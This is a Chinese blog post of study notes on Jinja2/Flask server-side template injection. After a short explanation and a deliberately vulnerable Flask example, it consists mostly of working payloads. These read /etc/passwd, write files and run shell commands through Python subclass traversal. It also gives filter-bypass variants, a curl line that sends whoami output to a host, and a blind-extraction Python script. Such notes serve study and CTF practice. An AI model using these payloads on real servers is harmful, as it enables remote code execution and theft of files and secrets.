以前做题学过一些ssti,但是感觉不够深入,整理一下,算个总结吧
漏洞介绍
ssti,服务器端模板注入,主要是python或者其他语言在渲染模板的时候,由于代码不规范或者信任了用户的输入,使得模板可控。简单来说就是,模板里面有些用户输入的东西,但是程序员在渲染模板的时候,没有检查用户输入的东西是不是都是善意的,于是就被用户拿下了这个模板做坏事了。 举个栗子 我们现在有这样一个模板,emmm,顺便说一句,模板其实就是一个html而已
1 2 3
<html > <div > {$name}</div > </html >
在这个模板上有一个name参数,用来存放用户的名字,因为每次打开页面我们都不确定是哪个用户打开。现在问题来了,如果这个参数是用户可控的,那么用户就有可能会在里面放一些恶意的代码,然后就有可能执行任意命令,这就是简单的ssti。
动手实践
flask的搭建
在学漏洞之前先学一下怎么搭建flask的,毕竟python web和php web还是有挺多区别的,phper枯了 我们现在pycharm里面点击左上角的file,然后是new project,选flask,template language选jinja2,然后create就行 这个时候我们可以看到新建出来的文件是这样的 运行一下app.py会看到下面图片显示的东西,此时浏览器访问一下http://127.0.0.1:5000 就会看到有hello world显示出来
模板渲染
1 2 3 4 5
|__app.py |__static | |__style.css |__templates |__index.html
模板是一个包含响应文本的文件,其中包含用占位变量表示的动态部分,其具体值只在请求的上下文中才能知道,使用真实值替换变量,再返回最终得到的响应字符串,这一过程成为渲染。简单来说,就是一个函数调用了某一个模板,那个模板展示出来,就是渲染。 模板可以用render_template_string()方式去渲染,这个函数会将放在templates里面的对应的模板渲染出来
ssti模板注入
解析
好了,前面介绍了那么多,是时候来一题具体的实操了 下面给出一份存在漏洞的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from flask import Flaskfrom flask import requestfrom flask import render_template_stringapp = Flask(__name__) @app.route('/ssti',methods=['GET', 'POST']) def test () : template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url) return render_template_string(template) if __name__ == '__main__' : app.debug = True app.run()
可以看到,在这个代码里面,有个test函数,他会在页面找不到的时候,先输出that page doesn’t exist,然后再将用户请求的url渲染出来,因为对用户的url进行了二次渲染,所以,如果我们在url里面加入了恶意代码,他也是能渲染出来的
攻击
知道了漏洞是怎样形成的,剩下的就是利用了 在python中,object类是所有类的基类,如果定义一个类的时候没有指定是继承哪一个类的话,那它默认继承的是object类。我们在进行攻击的时候,虽然当前的类可能不能让我们进行很好的攻击,但是我们可以通过寻找其父类的其他子类,最后达到攻击的目的。 我们先用pycharm来进行一下子类的寻找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
'' .__class__.__mro__[2 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[1 ] '' .__class__.__mro__[1 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[1 ] [].__class__.__bases__[0 ].__subclasses__()[40 ] [].__class__.__bases__[0 ].__subclasses__()[40 ]('/etc/passwd' ).read() [].__class__.__bases__[0 ].__subclasses__()[40 ]('/tmp' ).write('test' ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.linecache下有os类,可以直接执行命令: [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('id' ).read() [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令: [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()" ) [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__.__import__('os' ).popen('id' ).read() [].__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('id' ).read() {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval("__import__('os').popen('id').read()" ) }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open('filename' , 'r' ).read() }}{% endif %}{% endfor %} "" .__class__.__bases__[0 ].__subclasses__()[118 ].__init__.__globals__['popen' ]('dir' ).read()
一些绕waf的姿势
过滤[
1 2 3
'' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(40 )('/etc/passwd' ).read()'' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen('ls' ).read()
过滤引号
1 2 3 4 5 6 7 8 9
{% set chr=().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %} {{ ().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr(47 )%2 bchr(101 )%2 bchr(116 )%2 bchr(99 )%2 bchr(47 )%2 bchr(112 )%2 bchr(97 )%2 bchr(115 )%2 bchr(115 )%2 bchr(119 )%2 bchr(100 )).read() }} {{ ().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(request.args.path).read() }}&path=/etc/passwd {% set chr=().__class__.__bases__.__getitem__(0 ).__subclasses__()[59 ].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(chr(105 )%2 bchr(100 )).read() }} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤花括号
1 2
{% if '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`' ).read()=='p' %}1 {% endif %}
如果不能执行命令就用盲注的方式爆出来,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
{% if '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/test' ).read()[0 :1 ]=='p' %}~p0~{% endif %} import requestsurl = 'http://127.0.0.1:8080/' def check (payload) : postdata = { 'exploit' :payload } r = requests.post(url, data=postdata).content return '~p0~' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0 ,100 ): for c in s: payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()[' +str(i)+':' +str(i+1 )+'] == "' +c+'" %}~p0~{% endif %}' if check(payload): password += c break print password
参考
https://0day.work/jinja2-template-injection-filter-bypasses/ https://juejin.im/entry/5a91040ef265da4e9268410e
评论